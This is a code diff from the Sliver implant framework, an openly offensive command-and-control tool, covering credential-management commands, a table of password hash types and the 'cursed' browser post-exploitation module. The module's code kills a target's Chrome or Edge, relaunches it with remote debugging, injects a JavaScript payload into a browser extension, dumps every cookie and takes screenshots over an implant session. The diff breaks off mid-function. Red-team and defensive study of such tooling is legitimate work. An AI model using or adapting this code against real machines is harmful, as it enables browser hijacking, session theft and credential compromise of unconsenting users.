"WPA_EAPOL_PMK": "WPA-EAPOL-PMK",
|
||||
"WPA_PBKDF2_PMKID_EAPOL": "WPA-PBKDF2-PMKID+EAPOL",
|
||||
"WPA_PMK_PMKID_EAPOL": "WPA-PMK-PMKID+EAPOL",
|
||||
"WPA_PMKID_PBKDF2": "WPA-PMKID-PBKDF2",
|
||||
"WPA_PMKID_PMK": "WPA-PMKID-PMK",
|
||||
"IPMI2_PAKP_HMAC_SHA1": "IPMI2 RAKP HMAC-SHA1",
|
||||
"CRAM_MD5": "CRAM-MD5",
|
||||
"JWT": "JWT (JSON Web Token)",
|
||||
"RADMIN_3": "Radmin3",
|
||||
"KERBEROS_17_TGS_REP": "Kerberos 5, etype 17, TGS-REP",
|
||||
"KERBEROS_17_PREAUTH": "Kerberos 5, etype 17, Pre-Auth",
|
||||
"KERBEROS_17_DB": "Kerberos 5, etype 17, DB",
|
||||
"KERBEROS_18_TGS_REP": "Kerberos 5, etype 18, TGS-REP",
|
||||
"KERBEROS_18_PREAUTH": "Kerberos 5, etype 18, Pre-Auth",
|
||||
"KERBEROS_18_DB": "Kerberos 5, etype 18, DB",
|
||||
"KERBEROS_23_SA_REQ_PREAUTH": "Kerberos 5, etype 23, AS-REQ Pre-Auth",
|
||||
"KERBEROS_23_TGS_REP": "Kerberos 5, etype 23, TGS-REP",
|
||||
"KERBEROS_23_AS_REP": "Kerberos 5, etype 23, AS-REP",
|
||||
"NET_NTLM_V1": "NetNTLMv1 / NetNTLMv1+ESS",
|
||||
"NET_NTLM_V1_NT": "NetNTLMv1 / NetNTLMv1+ESS (NT)",
|
||||
"NET_NTLM_V2": "NetNTLMv2",
|
||||
"NET_NTLM_V2_NT": "NetNTLMv2 (NT)",
|
||||
"FLASK": "Flask Session Cookie ($salt.$salt.$pass)",
|
||||
"ISCSI_CHAP": "iSCSI CHAP authentication, MD5(CHAP)",
|
||||
"RACF": "Resource Access Control Facility",
|
||||
"AIX_SMD5": "AIX MD5",
|
||||
"AIX_SSHA1": "AIX SHA-1",
|
||||
"AIX_SSHA256": "AIX SHA-256",
|
||||
"AIX_SSHA512": "AIX SHA-512",
|
||||
"LM": "LM",
|
||||
"QNX_MD5": "QNX /etc/shadow (MD5)",
|
||||
"QNX_SHA256": "QNX /etc/shadow (SHA256)",
|
||||
"QNX_SHA512": "QNX /etc/shadow (SHA512)",
|
||||
"DPAPI_V1_CTX_1_AND_2": "DPAPI masterkey file v1 (context 1 and 2)",
|
||||
"DPAPI_V1_CTX_3": "DPAPI masterkey file v1 (context 3)",
|
||||
"DPAPI_V2_CTX_1_AND_2": "DPAPI masterkey file v2 (context 1)",
|
||||
"DPAPI_V2_CTX_3": "DPAPI masterkey file v2 (context 3)",
|
||||
"GRUB_2": "GRUB 2",
|
||||
"MS_AZURE_SYNC": "MS-AzureSync PBKDF2-HMAC-SHA256",
|
||||
"BSDI_CRYPT": "BSDi Crypt, Extended DES",
|
||||
"NTLM": "NTLM",
|
||||
"RADMIN2": "Radmin2",
|
||||
"SAMSUNG_ANDROID": "Samsung Android Password/PIN",
|
||||
"WINDOWS_HELLO_PIN": "Windows Hello PIN/Password",
|
||||
"WINDOWS_PHONE": "Windows Phone 8+ PIN/Password",
|
||||
"CISCO_ASA_MD5": "Cisco-ASA MD5",
|
||||
"CISCO_IOS_PBKDF2_SHA256": "Cisco-IOS $8$ (PBKDF2-SHA256)",
|
||||
"CISCO_IOS_SCRYPT": "Cisco-IOS $9$ (scrypt)",
|
||||
"CISCO_PIX_MD5": "Cisco-Pix MD5",
|
||||
"CITRIX_NETSCALER_SHA1": "Citrix NetScaler (SHA1)",
|
||||
"CITRIX_NETSCALER_SHA512": "Citrix NetScaler (SHA512)",
|
||||
"DCC": "Domain Cached Credentials (DCC), MS Cache",
|
||||
"DCC2": "Domain Cached Credentials 2 (DCC2), MS Cache 2",
|
||||
|
||||
// ...
|
||||
|
||||
"MACOS_10_8": "macOS v10.8+ (PBKDF2-SHA512)",
|
||||
|
||||
// ...
|
||||
|
||||
// INVALID = 9999; // Invalid hash type
|
||||
|
||||
// Out of order
|
||||
"BCRYPT_UNIX": "bcrypt",
|
||||
"SHA512_CRYPT_UNIX": "sha512crypt $6$, SHA512 (Unix)",
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
package creds
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// CredsCmd - Add new credentials.
|
||||
func CredsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var id string
|
||||
if len(args) > 0 {
|
||||
id = args[0]
|
||||
}
|
||||
if id == "" {
|
||||
credential, err := SelectCredential(false, clientpb.HashType_INVALID, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
id = credential.ID
|
||||
}
|
||||
_, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{
|
||||
Credentials: []*clientpb.Credential{
|
||||
{
|
||||
ID: id,
|
||||
},
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(creds.Credentials) == 0 {
|
||||
con.PrintInfof("No credentials 🙁\n")
|
||||
return
|
||||
}
|
||||
PrintCreds(creds.Credentials, con)
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
package creds
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// SelectCredential - Interactive menu for the user to select a credentials from the database.
|
||||
func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverClient) (*clientpb.Credential, error) {
|
||||
var creds *clientpb.Credentials
|
||||
var err error
|
||||
if hashType == clientpb.HashType_INVALID {
|
||||
creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
creds, err = con.Rpc.GetCredsByHashType(context.Background(), &clientpb.Credential{HashType: hashType})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if len(creds.Credentials) == 0 {
|
||||
return nil, errors.New("no credentials to select from")
|
||||
}
|
||||
|
||||
// Render selection table
|
||||
buf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
|
||||
for _, cred := range creds.Credentials {
|
||||
if cred.Plaintext == "" {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t[not cracked]\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType)
|
||||
} else {
|
||||
plaintext := cred.Plaintext
|
||||
if len(plaintext) > 12 {
|
||||
plaintext = plaintext[:12] + "..."
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\tplaintext: %s\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType, plaintext)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(buf.String(), "\n")
|
||||
options = options[:len(options)-1]
|
||||
if len(options) == 0 {
|
||||
return nil, errors.New("no credentials to select from")
|
||||
}
|
||||
|
||||
selected := ""
|
||||
err = forms.Select("Select a credential:", options, &selected)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for index, value := range options {
|
||||
if value == selected {
|
||||
return creds.Credentials[index], nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -1,3 +1,17 @@
|
||||
# Cursed
|
||||
# client/command/cursed
|
||||
|
||||
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
|
||||
## Overview
|
||||
|
||||
Implements the 'cursed' command group for the Sliver client console. Handlers map Cobra invocations to cursed workflows such as cursed chrome, cursed console, cursed cookies, and cursed edge.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `commands.go` – Exposes the cursed command suite and binds individual subcommands for supported targets.
|
||||
- `cursed-chrome.go` – Launches or hijacks Chrome debugging sessions, locating executables and wiring remote control.
|
||||
- `cursed-console.go` – Provides the interactive cursed console experience atop Chrome DevTools sessions.
|
||||
- `cursed-cookies.go` – Fetches and displays browser cookies from an active cursed session.
|
||||
- `cursed-edge.go` – Mirrors the Chrome workflow for Microsoft Edge, including process discovery logic.
|
||||
- `cursed-electron.go` – Drives cursed interactions with arbitrary Electron apps, validating binaries and starting injected sessions.
|
||||
- `cursed-rm.go` – Removes cursed sessions from the client cache and tears down associated resources.
|
||||
- `cursed-screenshot.go` – Captures screenshots from a cursed browser context via DevTools APIs.
|
||||
- `cursed.go` – Manages the cursed process registry, selection helpers, and remote debugger configuration defaults.
|
||||
@@ -0,0 +1,149 @@
|
||||
package cursed
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
cursedCmd := &cobra.Command{
|
||||
Use: consts.Cursed,
|
||||
Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
|
||||
Long: help.GetHelpFor([]string{consts.Cursed}),
|
||||
GroupID: consts.ExecutionHelpGroup,
|
||||
Annotations: flags.RestrictTargets(consts.SessionCmdsFilter),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CursedCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", true, cursedCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
cursedRmCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
Short: "Remove a Curse from a process",
|
||||
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CursedRmCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
cursedCmd.AddCommand(cursedRmCmd)
|
||||
flags.Bind("", false, cursedRmCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("kill", "k", false, "kill the process after removing the curse")
|
||||
})
|
||||
carapace.Gen(cursedRmCmd).PositionalCompletion(carapace.ActionValues().Usage("bind port of the Cursed process to stop"))
|
||||
|
||||
cursedConsoleCmd := &cobra.Command{
|
||||
Use: consts.CursedConsole,
|
||||
Short: "Start a JavaScript console connected to a debug target",
|
||||
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CursedConsoleCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
cursedCmd.AddCommand(cursedConsoleCmd)
|
||||
flags.Bind("", false, cursedConsoleCmd, func(f *pflag.FlagSet) {
|
||||
f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)`")
|
||||
})
|
||||
|
||||
cursedChromeCmd := &cobra.Command{
|
||||
Use: consts.CursedChrome,
|
||||
Short: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
|
||||
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CursedChromeCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
cursedCmd.AddCommand(cursedChromeCmd)
|
||||
flags.Bind("", false, cursedChromeCmd, func(f *pflag.FlagSet) {
|
||||
f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
|
||||
f.BoolP("restore", "R", true, "restore the user's session after process termination")
|
||||
f.StringP("exe", "e", "", "chrome/chromium browser executable path (blank string = auto)")
|
||||
f.StringP("user-data", "u", "", "user data directory (blank string = auto)")
|
||||
f.StringP("payload", "p", "", "cursed chrome payload file path (.js)")
|
||||
f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes")
|
||||
f.BoolP("headless", "H", false, "start browser process in headless mode")
|
||||
})
|
||||
flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
||||
})
|
||||
cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||
carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
|
||||
|
||||
cursedEdgeCmd := &cobra.Command{
|
||||
Use: consts.CursedEdge,
|
||||
Short: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
|
||||
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CursedEdgeCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
cursedCmd.AddCommand(cursedEdgeCmd)
|
||||
flags.Bind("", false, cursedEdgeCmd, func(f *pflag.FlagSet) {
|
||||
f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
|
||||
f.BoolP("restore", "R", true, "restore the user's session after process termination")
|
||||
f.StringP("exe", "e", "", "edge browser executable path (blank string = auto)")
|
||||
f.StringP("user-data", "u", "", "user data directory (blank string = auto)")
|
||||
f.StringP("payload", "p", "", "cursed chrome payload file path (.js)")
|
||||
f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes")
|
||||
f.BoolP("headless", "H", false, "start browser process in headless mode")
|
||||
})
|
||||
flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
||||
})
|
||||
cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||
carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
|
||||
|
||||
cursedElectronCmd := &cobra.Command{
|
||||
Use: consts.CursedElectron,
|
||||
Short: "Curse a remote Electron application",
|
||||
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CursedElectronCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
cursedCmd.AddCommand(cursedElectronCmd)
|
||||
flags.Bind("", false, cursedElectronCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("exe", "e", "", "remote electron executable absolute path")
|
||||
f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
|
||||
})
|
||||
cursedElectronCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||
carapace.Gen(cursedElectronCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Electron CLI arguments"))
|
||||
|
||||
CursedCookiesCmd := &cobra.Command{
|
||||
Use: consts.CursedCookies,
|
||||
Short: "Dump all cookies from cursed process",
|
||||
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CursedCookiesCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
cursedCmd.AddCommand(CursedCookiesCmd)
|
||||
flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("save", "s", "", "save to file")
|
||||
})
|
||||
|
||||
cursedScreenshotCmd := &cobra.Command{
|
||||
Use: consts.ScreenshotStr,
|
||||
Short: "Take a screenshot of a cursed process debug target",
|
||||
Long: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CursedScreenshotCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
cursedCmd.AddCommand(cursedScreenshotCmd)
|
||||
flags.Bind("", false, cursedScreenshotCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
|
||||
f.StringP("save", "s", "", "save to file")
|
||||
})
|
||||
|
||||
return []*cobra.Command{cursedCmd}
|
||||
}
|
||||
@@ -22,21 +22,21 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -50,25 +50,25 @@ var (
|
||||
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory.
|
||||
func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
payloadPath, _ := cmd.Flags().GetString("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
payload, err = os.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraChrome(session, ctx, con)
|
||||
curse := avadaKedavraChrome(session, cmd, con, args)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
@@ -96,10 +96,10 @@ func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -111,8 +111,8 @@ func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
chromeProcess, err := getChromeProcess(session, ctx, con)
|
||||
func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess {
|
||||
chromeProcess, err := getChromeProcess(session, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -123,7 +123,7 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
|
||||
err = forms.Confirm("Kill and restore existing Chrome process?", &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -133,7 +133,7 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Pid: chromeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -145,7 +145,7 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(false, session, ctx, con)
|
||||
curse, err := startCursedChromeProcess(false, session, cmd, con, cargs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -153,21 +153,21 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co
|
||||
return curse
|
||||
}
|
||||
|
||||
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) {
|
||||
name := "Chrome"
|
||||
if isEdge {
|
||||
name = "Edge"
|
||||
}
|
||||
|
||||
con.PrintInfof("Finding %s executable path ... ", name)
|
||||
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
|
||||
chromeExePath, err := findChromeExecutablePath(isEdge, session, cmd, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Finding %s user data directory ... ", name)
|
||||
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
|
||||
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, cmd, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
@@ -175,31 +175,31 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
con.Printf("success!\n")
|
||||
|
||||
con.PrintInfof("Starting %s process ... ", name)
|
||||
debugPort := getRemoteDebuggerPort(ctx)
|
||||
debugPort := getRemoteDebuggerPort(cmd)
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
if chromeUserDataDir != "" {
|
||||
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
|
||||
}
|
||||
if ctx.Flags.Bool("restore") {
|
||||
if restore, _ := cmd.Flags().GetBool("restore"); restore {
|
||||
args = append(args, "--restore-last-session")
|
||||
}
|
||||
if ctx.Flags.Bool("keep-alive") {
|
||||
if keepalive, _ := cmd.Flags().GetBool("keep-alive"); keepalive {
|
||||
args = append(args, "--keep-alive-for-test")
|
||||
}
|
||||
if ctx.Flags.Bool("headless") {
|
||||
if headless, _ := cmd.Flags().GetBool("headless"); headless {
|
||||
args = append(args, "--headless")
|
||||
}
|
||||
additionalArgs := ctx.Args.StringList("args")
|
||||
if len(additionalArgs) > 0 {
|
||||
args = append(args, additionalArgs...)
|
||||
|
||||
if len(cargs) > 0 {
|
||||
args = append(args, cargs...)
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: chromeExePath,
|
||||
Args: args,
|
||||
Output: false,
|
||||
@@ -213,7 +213,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
con.PrintInfof("Waiting for %s process to initialize ... ", name)
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindPort := util.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
@@ -253,8 +253,8 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
userDataFlag := ctx.Flags.String("user-data")
|
||||
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) {
|
||||
userDataFlag, _ := cmd.Flags().GetString("user-data")
|
||||
if userDataFlag != "" {
|
||||
return userDataFlag, nil
|
||||
}
|
||||
@@ -272,7 +272,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.
|
||||
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -290,7 +290,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.
|
||||
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -306,8 +306,8 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.
|
||||
}
|
||||
}
|
||||
|
||||
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
exeFlag := ctx.Flags.String("exe")
|
||||
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) {
|
||||
exeFlag, _ := cmd.Flags().GetString("exe")
|
||||
if exeFlag != "" {
|
||||
return exeFlag, nil
|
||||
}
|
||||
@@ -337,7 +337,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
|
||||
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: chromeExecutablePath,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -357,7 +357,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: defaultChromePath,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -383,7 +383,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
}
|
||||
for _, chromePath := range chromeLinuxPaths {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
